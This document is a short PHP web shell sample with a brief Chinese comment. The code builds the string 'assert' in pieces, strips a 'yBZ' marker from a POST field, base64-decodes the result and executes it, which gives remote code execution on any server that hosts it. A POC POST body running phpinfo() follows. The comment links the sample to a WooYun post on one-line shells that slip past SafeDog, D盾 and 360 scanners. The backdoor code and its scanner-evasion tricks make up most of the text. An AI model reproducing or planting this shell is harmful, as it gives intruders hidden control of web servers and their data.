<?php
if(isset($_REQUEST['hello'])){
$i[0] = 'asse'.'rt';
$array[] = $i;
$key=str_replace("yBZ","",$_POST[ad]);
$i[1]=base64_decode($key);
$array[0][0]($i[1]);
}
?>
POC:
POST:
hello=1&yBZcGhwaW5mbygpOw== //PHPINFO();
百度了一下,还没有搜索到。
WooYun: 过安全狗/D盾/360PHP一句话 搜索到这个链接。
这个马儿可能根据这个变种吧。个人意见而已~